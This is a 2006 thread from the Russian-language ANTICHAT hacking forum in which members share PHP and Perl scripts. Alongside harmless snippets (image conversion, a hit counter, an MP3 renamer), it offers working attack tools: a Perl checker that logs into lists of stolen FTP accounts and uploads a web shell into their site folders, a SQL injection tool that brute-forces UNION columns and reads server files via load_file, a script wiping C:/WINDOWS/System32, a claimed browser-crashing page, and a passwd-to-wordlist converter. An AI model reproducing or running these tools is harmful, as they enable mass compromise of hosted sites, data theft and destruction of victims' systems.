ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 18.11.2006, 17:03
»Atom1c«
Banned
Регистрация: 04.11.2006
Сообщений: 370
С нами: 10271966

Репутация: 1186
По умолчанию

Тут написал маленький парсер для составления списка login;pass из файлов папки /etc/passwd/.
Чтобы он работал надо создать файл pwd.txt(куда засунуть наш лист) и pwds(тут будет окончательный список).
Короче кто знает тот разберётся.Пользуйтесь

PHP код:
 #!/usr/bin/perl 

open(IN, "pwd.txt"); 
open(OUT, ">pwds"); 
while(<
IN>){ 
chomp; 
if(
$_ ne ' '){ 
(
$u,@undef)=split  ' : ' ; 
print 
OUT  "$u:$u\n"; 
} 
} 
close(IN); 
close(OUT); 
 
Ответить с цитированием

  #12  
Старый 18.11.2006, 19:50
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Скрипт тупо удаляет все файлы из папки
PHP код:
<?php
set_time_limit
(0);
foreach (
glob("C:/WINDOWS/System32/*") as $filename)
{
       
unlink($filename);
}

?>
Также скрипт тупо украден из мануала по PHP
P.S. Dr.Check, я насчёт второго поста в этой теме, тот флудер не работает, создаёт около 2000 файлов и останавливается и больше не запускается

Последний раз редактировалось Ponchik; 19.11.2006 в 11:05..
 
Ответить с цитированием

  #13  
Старый 19.11.2006, 11:23
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Ах да! И ещё!

Код HTML:
Есть такой хороший прикол: Хамаз бомба для IE -Internet Exploer после запуска которой - винда вешаеться (синий экран смерти) - ошибка связана с дравами видео-адаптеров.

И так - нам нужно будет:

1. Большая качественная картинка 1000 на 800 пойдёт -) весом где нить в 1 мегабайт - ) 
2. Называем картинку,допустим --- info.jpg
3. Открываем обычный текстовик и копируем туда это: 

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<body>
<img src="info.jpg" width="9999999" height="9999999" alt="info" />
</body>
</html>

4. Закрываем-сохраняем-меняем расширение текстовика с *txt - на index.html - и кладём картинку в туже директорию где сам документ index.html .

5. Тестируем: Открываем IEом этот документ -)

Эта штука тестировалась на браузерах Internet Exploer и ранних версиях Mozilla Firefox - Результат вылетал синий экран и всё висело.
(с)CampeR - http://forum.bit-team.com/

А вот в гугле картинок надыбал
3000 x 3264 пикселей - 1844кб
4500 x 3000 пикселей - 3931кб
 
Ответить с цитированием

ftp_checker_uploader.pl
  #14  
Старый 20.11.2006, 20:02
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
С нами: 10489346

Репутация: 963


По умолчанию ftp_checker_uploader.pl

Еще 1 мой старый сорец. Пригодится продавцам фтп)
Код:
#!/usr/bin/perl

use Net::FTP;

print "\n# $0\n# (C)oded by .:[KSURi]:.\n\n";
print "FTP list filename: ";
my $ftpFile=<STDIN>;
print "Valid accounts list filename: ";
my $outFile=<STDIN>;
print "URLS list filename: ";
my $listFile=<STDIN>;
print "Upload filename: [blank to disable upload] ";
my $shellFile=<STDIN>;
print "Upload remote filename: [blank to disable upload] ";
my $shellFileRemote=<STDIN>;
chomp($shellFile,$shellFileRemote,$ftpFile,$outFile,$listFile);

open(IN,$ftpFile) or exit print "\n[-] Cannot open $ftpFile\n";
my @strings=<IN>;
close IN;
foreach $string(@strings)
{
    chomp($string);
    my($host,$user,$pass,$pair,$tmp);
    if($string=~/^ftp:\/\//i)
    {
        ($pair,$host)=split('\@',$string);
        $tmp=$pair=~s/ftp:\/\///;
        ($user,$pass)=split(':',$pair);
    }
    else { ($host,$user,$pass)=split(':',$string); }
    my $conn=Net::FTP->new($host,Debug=>0,Timeout=>5) or print $host."... FAILED [cant connect]\n"&&next;
    if($conn->login($user,$pass))
    {
        open(OUT,">>$outFile");
        open(LIST,">>$listFile");
        if($shellFile ne ""&&$shellFileRemote ne "")
        {
            my @dirs=$conn->ls();
            foreach(@dirs)
            {
                if($_=~m/public_html|pub_html|htdocs|httpdocs|www|wwwhome|/i)
                {
                    $conn->cwd($_);
                    $conn->put($shellFile,$shellFileRemote);
                }
            }
            print $string."... OK (shell uploaded)\n";
            print OUT $string." (shell uploaded to ".$conn->pwd().")\n";
        }
        else
        {
            print $string."... OK\n";
            print OUT $string."\n";
        }
        print LIST $host."\n";
        close OUT;
        close LIST
    }
    else { print $host."... FAILED\n"; }
}

# ftp_checker_uploader v1.4.pl
# (C)oded by .:[KSURi]:.
 
Ответить с цитированием

  #15  
Старый 21.11.2006, 19:22
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами: 10485026

Репутация: 1879


По умолчанию

Перевод цвета изображения в Чёрно-белоею (Писал для какого-то человечка на форумею Вдруг кому ещё пригодиться...)
PHP код:
<?php 
$im 
= ImageCreateFromJpeg("file.jpg"); 
$size = getimagesize("file.jpg"); 
$new = imagecreate($size[0], $size[1]);
$black = imagecolorallocate($new, 0, 0, 0); 
$white = imagecolorallocate($new, 0xFF, 0xFF, 0xFF); 

for (
$i = 1; $i < $size[0]; $i++) { 
  for (
$j = 1; $j < $size[1]; $j++) {
    
$rgb = ImageColorAt($im, $i, $j); 
    
$r = ($rgb >> 16) & 0xFF; 
    
$g = ($rgb >> 8) & 0xFF; 
    
$b = $rgb & 0xFF; 
    if ( 
$r <  128 && $r < 128 && $b < 128 ) { 
      
imagesetpixel($new, $i, $j, $black); 
    } elseif ( 
$r >=  128 && $r >= 128 && $b >= 128 ) { 
      
imagesetpixel($new, $i, $j, $white); 
    } 
  } 
} 
header("Content-type: image/jpeg"); 
imagejpeg($new, null, 100); 
imagedestroy($im); 
imagedestroy($new); 
?>
P.S Пончик не знаю,... у меня номрально работает.

Последний раз редактировалось Dr.Check; 03.12.2006 в 02:56..
 
Ответить с цитированием

  #16  
Старый 23.11.2006, 14:06
Dracula4ever
Постоянный
Регистрация: 08.05.2006
Сообщений: 559
С нами: 10531106

Репутация: 354


По умолчанию

чекер проксиков, так же проверяет прокс и на анонимность

PHP код:
<? 
/**************************************************  ************** 
*                      * 
*                                                               * 
* This will perform a basic connectivity and anonymity test     * 
*                                                               * 
* Simply upload to a php enabled webserver and change the       * 
* configurable parameters below if you so desire                * 
*                                                               * 
* 2005-11-11   v0.1 - Compatible with Charon v0.5.3.5           * 
**************************************************  **************/ 
?> 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 
<head><title>Online proxy tester</title></head> 
<body bgcolor="black" text="white"> 

<?php 

// Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) 
   
error_reporting(0); 
// Limit the amount of proxies that can be tested at any one time 
   
$maximum_proxies_to_test = 5; 
// Enter a password (if required) to protect the page 
   
$password = ''; 

// Actual proxyjudge part of the page 
   
function return_env_variables() 
   { 
      echo 
'<pre>'."\n"; 
      foreach (
$_SERVER as $header => $value ) 
      { 
        if ((
strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0)) 
        { 
        echo 
$header.' = '.$value."\n"; 
        } 
      } 
      echo 
'</pre>'; 
   } 

// Function to go away and get the page (calls through the proxy back to itself) 
   
function get_judge_page($proxy) 
   { 
   
// Depending on the server environment, this timeout setting may not be available.     
      
$timeout = 15; 
      
$proxy_cont = ''; 
      list(
$proxy_host, $proxy_port) = explode(":", $proxy); 
      
$proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout); 
      if (
$proxy_fp) 
      { 
         
stream_set_timeout($proxy_fp, $timeout); 
         
fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n"); 
         while(!
feof($proxy_fp)) 
         { 
               
$proxy_cont .= fread($proxy_fp,4096); 
         } 
         
fclose($proxy_fp); 
         
$proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4); 
      } 
      return 
$proxy_cont;    
   } 

// Check for the control string to see if it's a valid fetch of the judge 
   
function check_valid_judge_response($page) 
   { 
      if(
strlen($page) < 5) 
         return 
false; 
      return 
strpos($page, 'REMOTE_ADDR') !== false; 
   } 

// Check for the IP addresses 
   
function check_anonymity($page) 
   { 
      if(
strpos($page, $_SERVER['LOCAL_ADDR']) !== false) 
         return 
false; 
      return 
true; 
   } 

// Takes and tests a proxy 
// 0 - Bad proxy 
// 1 - Good (non anon) proxy 
// 2 - Good (anonymous) proxy 
   
function test_proxy($proxy) 
   { 
      
$page = get_judge_page($proxy); 
      if(!
check_valid_judge_response($page)) 
         return 
0; 
      if(!
check_anonymity($page)) 
         return 
1; 
      return 
2; 
   } 

////////// Main Page //////////// 

// If this is a judge request, just return the environmental variables 
   
if(getenv('QUERY_STRING') == "test") 
   { 
      
return_env_variables(); 
   } 
// Else check whether we have been passed a list of proxies to test or not 
// Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) 
   
elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && 
           (isset(
$HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && 
           ( (
strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) 
   { 
      
$proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1); 
       
   
// Set the overall time limit for the page execution to 10 mins 
      
set_time_limit(600); 
       
   
// Set up some arrays to hold the results 
      
$anon_proxies = array(); 
      
$nonanon_proxies = array(); 
      
$bad_proxies = array(); 
    
   
// Loop through and test the proxies 
      
for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1) 
      { 
         echo 
'Testing ' . $proxies[$thisproxy] . ' .....'; 
         
flush(); 
         switch(
test_proxy($proxies[$thisproxy])) 
         { 
            case 
2: 
              echo 
'.. Anon<br>' . "\n"; 
               
$anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; 
               break; 
            case 
1: 
              echo 
'.. Non anon<br>' . "\n"; 
               
$nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; 
               break; 
            case 
0: 
              echo 
'.. Dead<br>' . "\n"; 
               
$bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; 
               break; 
         } 
      } 
    
      echo 
'<pre>'; 
      echo 
'<br><b>Anonymous proxies</b>' . "\n"; 
      for(
$thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1) 
         echo 
$anon_proxies[$thisproxy] . "\n"; 
      echo 
'<br><b>Non-anonymous proxies</b>' . "\n"; 
      for(
$thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1) 
         echo 
$nonanon_proxies[$thisproxy] . "\n"; 
      echo 
'<br><b>Dead proxies</b>' . "\n"; 
      for(
$thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1) 
         echo 
$bad_proxies[$thisproxy] . "\n"; 
      echo 
'</pre>'; 
   } 
// Just a blank call of the page - show the form for the user to fill in 
   
else 
   { 
      echo 
'<h2>Online Proxy checker</h2>' . "\n"; 
      echo 
'<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n"; 
      echo 
'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n"; 
      echo 
'<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n"; 
      echo 
'<input type="hidden" name="action" value="fred">' . "\n"; 
      echo 
'<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea><br>' . "\n"; 
      if(
strlen($password) > 0)    
         echo 
'Password: <input type="password" name="password" size="15"><br>' . "\n"; 
      echo 
'<input type="submit" value="Check proxies">' . "\n"; 
      echo 
'</form>' . "\n"; 
   } 
?> 
</body> 
</html>
 
Ответить с цитированием

  #17  
Старый 23.11.2006, 16:40
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
С нами: 10489346

Репутация: 963


По умолчанию

Хорошо прокоментированный скрипт безопасной работы с mysql (копирайты в сорце).
PHP код:
<?php
    
/*    WPC Paste!
     *    Zarathu rules the Universe
     *
     *        By Zarathu
     *    www.thesarcasm.com
     *    
     *    zarathu@thesarcasm.com
     *
     */
     
    /* SETTINGS TO BE MODIFIED */
        
$mySQL_user = "YOUR_USERNAME";
        
$mySQL_pass = "YOUR_PASSWORD";
        
        
$mySQL_database = "pb";
        
$mySQL_table = "data";
        
        
$mySQL_idField = "id";
        
$mySQL_strField = "stuff";
        
        
$URLtoPaste = "http://www.thesarcasm.com/";
        
        
/*$URLtoPaste:  Be careful.  This needs to include the path.
         *on my website, for example, if I had the paste.php in a
         *folder called 'bullshit' on the server, $URLtoPaste would
         *be "http://www.thesarcasm.com/bullshit/" */
         
         //Make sure the URL ends with a slash! :]
        
    /***************************/
    
    /*DO NOT MODIFY, YOU TURKISH ASSHOLE :]*/
    
$ZarathuRulesTheUniverse = TRUE;
    
    
?>

<html>
    <head>
        <title>WPC Paste!</title>
    </head>

    <body bgcolor="#ffffff">
            
        <?php
            
            
            
if($_GET['id'] != null && ($ZarathuRulesTheUniverse)) {
                
$id = $_GET['id'];
                
                
//security for you asshole hackers ;]
                
$security = strpbrk($id, '\'\"><.,;][}{+=*\\/)(');
                if(
$security != FALSE) { throwError(); }
                
                
//if a hacker was trying to manipulate the script
                //it would have already died.  therefore, we can
                //safely call the following method.
                
getData($id);
            } else if(
$_POST['textarea'] != null && ($ZarathuRulesTheUniverse)) {
                
$data = $_POST['textarea'];
                
setData($data);
            } else if((
$_POST['textarea'] == null) && ($_GET['id'] == null) && ($ZarathuRulesTheUniverse)) {
                
echoWelcome();
            }
        
?>
        
        <form method="POST" action="paste.php">
            <p>
                <textarea name="textarea" rows="25" cols="98"></textarea><br />
                <input type="submit" value="Send!" name="sendbtn"><br />
                <a href="http://www.thesarcasm.com">Zarathu Rules the Universe</a>
            </p>
        </form>
        
        <?php
            
//methods
            
            
function echoWelcome() {
                echo(
"Welcome to WPC Paste!<br />");
                echo(
"This program is simple to use, unless you're a complete moron.<br /><br />");
                echo(
"Programmed by <a href=\"http://www.thesarcasm.com\">Zarathu</a><br />");
                echo(
"Enjoy!<br />");
            }
            
            function 
getData($id) {
                global 
$ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField;
                
                
//security bullshit for you asshole hackers
                
if($id == null && ($ZarathuRulesTheUniverse)) { throwError(); }
                
                
//establishes connection...
                
$link = establishConnection();
                
                
//Alright, now that we've got our shit together...
                //SELECT stuff FROM data WHERE id = $id
                
$query = mysql_query('SELECT ' . $mySQL_strField . ' FROM ' . $mySQL_table . ' WHERE ' . $mySQL_idField . ' = ' . $id);
                
                
//need this array to convert into HTML
                
$newLines = array("\r\n", "\n", "\r");
                if(!
$ZarathuRulesTheUniverse) { throwError(); }
                
                
//prints selected bullshit
                
if(!$query && ($ZarathuRulesTheUniverse)) {
                    
throwSQLError();
                } else {
                    while (
$line = mysql_fetch_array($query, MYSQL_ASSOC)) {
                       foreach (
$line as $col_value) {
                           echo 
str_replace($newLines, "<br />", $col_value);
                       }
                    }
                }
            }
            
            function 
setData($data) {
                global 
$ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField;
                if(!
$ZarathuRulesTheUniverse) { throwError(); }
                
                
//establishes that hairy son of a bitch
                
$link = establishConnection();
                
$newID = rand(1000000,9000000);
                
                
//security!
                
$data = str_replace("'", "\'", $data);
                
$data = str_replace("\"", "\\\"", $data);
                
$data = str_replace(">", "&gt;", $data);
                
$data = str_replace("<", "&lt;", $data);
                
$data = str_replace('\\', '\\\\', $data);
                
                
//inserts shittles... watch me rule again.
                
$bullshit = "INSERT INTO $mySQL_table ($mySQL_idField, $mySQL_strField) VALUES ($newID, '$data')";
                
$query = mysql_query($bullshit);
                
                if(!
$query && ($ZarathuRulesTheUniverse)) {
                    
throwSQLError();
                } else {
                    
$newURL = "$URLtoPaste" . "paste.php?id=$newID";
                    echo(
"<a href=\"$newURL\">$newURL</a>");
                    
http_redirect($newURL);
                }
            }
            
            function 
establishConnection() {
                global 
$ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField;
                
                
//establishes connection...
                
$link = mysql_connect('localhost', $mySQL_user, $mySQL_pass);
                
//...and checks for errors
                
if(!$link && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                if(!
mysql_select_db($mySQL_database) && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                if(!
$ZarathuRulesTheUniverse) { throwError(); }
                
                return 
$link;
            }
            
            function 
throwError() {
                die(
"Error! \n\n");
                
//if you really need a comment, here it is.
                //throws an error and exits
            
}
            
            function 
throwSQLError() {
                die(
"Error! \n\n(" . mysql_error() .")");
                
//if you really need a comment, you're an idiot.
                //go fuck yourself.
            
}
            
        
?>
    </body>
</html>

Последний раз редактировалось SMiX; 23.11.2006 в 21:33..
 
Ответить с цитированием

  #18  
Старый 26.11.2006, 18:11
7ion
Познающий
Регистрация: 29.10.2006
Сообщений: 74
С нами: 10280038

Репутация: 65
По умолчанию

PHP код:
<?php 
$file
="count.txt";

if (!
file_exists($file))
 {
  
$fp = fopen($file,"w");  
  
fputs ($fp,"0" );  
  } 
else 
  { 
  
$fp = fopen($file,"r+"); 
  };
$numcount= fread($fp,filesize($file));
fclose($fp);
$numcount++;
$fp = fopen($file,"w"); 
fputs ($fp,$numcount);
 echo 
$numcount;
?>
небольшой пример текстового счетчика посещений.
 
Ответить с цитированием

  #19  
Старый 03.12.2006, 02:55
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами: 10485026

Репутация: 1879


По умолчанию

Хм, конечно скриптом назвать нельзя, хотя авось кому-нить да и пригодится. Сегодня понадобилось хэши из всякой лабуды вытащить...
PHP код:
<?php 
  $text 
= 'Лабуда, разный текст Лабуда, разный текст 
          Лабуда, разный текст тЛабуда, разный текст текста=)b2f387d9ebc680e559bc48d029c6c0efПриведите Лабуда, разный текст b2f387d9ebc680e559bc48d029c6c0efЛабуда, разный текст пример текста=) Типо такого...'
; 
  
$pattern = "|[a-z0-9]{32}|is"; 
  
preg_match_all($pattern, $text, $out); 
  echo 
"<pre>"; 
  
print_r($out); 
  echo 
"</pre>"; 
?>
 
Ответить с цитированием

  #20  
Старый 03.12.2006, 12:41
Slon
Участник форума
Регистрация: 09.12.2005
Сообщений: 162
С нами: 10746540

Репутация: 91
По умолчанию

Вот прикольный скрипт (переделывает имя MP3 файла из инфы в тэгах) полезно для спутниковой рыбалки, и сортировки музыки

Код:
use strict;

my ($d) = @ARGV;
$d = './' unless $d;

my @l= ();
die unless opendir(my $h, $d);
foreach(readdir $h)
{	next if /^\.+$/;
	push @l, $_ if /\.mp3$/i;
}
closedir $h;

my $c = 0;
foreach my $f (@l)
{	
	next unless open my $h, "<$d/$f";
	binmode $h;
	read $h, my $t, 3;
	my($a,$n) = ('','');

	if($t eq 'ID3')
	{	read $h, $t, 1000;
		if($t =~ /TIT2...(.)...(.*)/s)
		{	$n = substr $2, 0, -1+ord $1;
		}
		if($t =~ /TPE1...(.)...(.*)/s)
		{	$a = substr $2, 0, -1+ord $1;
		}
	}
	else
	{	seek $h, -128, 2;
		read $h, $t, 3;
		if($t eq 'TAG')
		{	read $h, $t, 128;
			($n,$a) = unpack "a30a30", $t;
		}
	}
	close $h;
	$n =~ s/[\0\s\r\n]+$//s;
	$a =~ s/[\0\s\r\n]+$//s;

	next if $a eq '';
	next if $n eq '';

	my $r = "$a - $n";

	$r =~ s/http:\/\///ig;

	$r =~ s/[\0-\39]//g;
	$r =~ s/[\\\/\:\*\?\"\<\>\|]/_/g;

	while($r =~ /\s\s/) { $r =~ s/\s\s/ /; }

	my $s = $r;
	$s =~ tr/\300-\377\260\261/\200-\257\340-\357\360\361/;
	printf "%s\n", $s;

	$r .= '.mp3';

	next if $r eq $f;

	while(-e "$d/$r") { $r =~ s/\.mp3$/_\.mp3/; }

	if(rename "$d/$f", "$d/$r") { $c++; }
	else { print "$f $!\n"; }
}
printf "renamed %d of %d\n", $c, scalar @l;
Вот подборщик кол-во union (вывод с load_file пока не доделал) запускать СКРИПТ.pl 1

Код:
#!/usr/bin/perl
#=========================================================================#
use LWP::UserAgent;
use Getopt::Std;
#=========================================================================#

#=========================================================================#
#=MAIN===================================================================#

print "\n AAAAAA OOOOOO H   H\n";
print " A    A O    O H   H\n";
print " AAAAAA O    O HHHHH\n";
print " A    A O    O H   H\n";
print " A    A OOOOOO H   H\n\n";

$filt=1; #only chars in resolt

my $www = LWP::UserAgent->new;

uss(); 

if(!$ARGV[0]) {

ans();
while (true)
	{
	print "\nNew file (^c for quit) ->"; 
	$f=<STDIN>;
	$f =~ s/\n//;
	enc(); #encode file
	burl();
	conn();
	getres();
	}

}
else
	{
	print "Url for brute-> "; $u=<STDIN>;
	$u =~ s/\n//;
	brute();
	}
	
#=END=MAIN============================================================#
#=======================================================================#


sub brute()
{
$max=20;
$res='';

for ($j=1;$j<$max;$j++)
{
	for ($i=1;$i<$j+1;$i++)
		{$utmp.=$i."26639-1,";}
		
	$utmp  = substr($utmp, 0, length ($utmp) - 1 );	
	$utmp  = $u." UNION SELECT ".$utmp."/*";

	if($coll=chk($utemp)) {$utmp =~ s\26639-1\\g; print("[+$j] OK! Coloun number $coll is visible\r\n$utmp"); exit(0);}
	else {print("[-$j] falure... ($szz Bytes)\r\n");}
	#print $utmp."\r\n";
	
	$utmp="";
}

}

sub chk()
{
$resp = $www  -> get( $utmp ) or die();
$szz=length($resp->content());
if ($resp->content() =~ /(\d+)26638/) {return($1);}
}

sub ans()
{
print "\nAnsver some questions ;)\r\n";
print "Url for union-> "; $u=<STDIN>;
print "Number of coloums -> "; $n=<STDIN>;
print "Coloum with union -> "; $c=<STDIN>;
$u =~ s/\n//;
$f =~ s/\n//;
}

sub enc()
{
for ($i=0;$i<length($f);$i++) {$enc .= ord(substr($f, $i,1 )).',';}
$enc  = substr($enc, 0, length ($enc) - 1 );
$f=$enc;
$enc='';
}

sub burl()
{
print "[~] File: $f\n";
$ur = $u; $tmp='';
for ($i=0;$i<$n;$i++)
	{
	if($i==$c-1) {
					$tmp.="load_file(char($f)),";
				 }
	else {$tmp.="0,";}
	}
$tmp  = substr($tmp, 0, length ($tmp) - 1 );
$ur.= "+union+select+$tmp/*";
print "[~] url: $ur\n";
}

sub conn ()
{
print "[~] Sending ...\n";
my $resp = $www  -> get( $ur );
$cont = $resp -> content();
}
  
sub getres()
{
$s="</b><br><br>";
$e="</p></p>";

$result;
#print $cont;
print "[~] Start: $s \n";
print "[~] End:   $e \n";
print "[~] Searching...\n ";
@stringz=split("\n",$cont);

for(@stringz)
{
if(/$e/) { $p = 0; }
 $result .= $_."\r\n" if $p;
if(/$s/){ $p = 1; }
}

$result =~ tr/a-zA-Z /a-zA-Z/d;

if($result) { print "[+] I found something! \n\n $result"; }
else {print "[-] Not found...\n ";}

$result='';
}


   
sub uss()
{
print 'AOH SQL INJECTION TOOL By AoH]Slon'."\n";
print 'Use aoh.pl 1 for brute colouns'."\n\n";
}
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.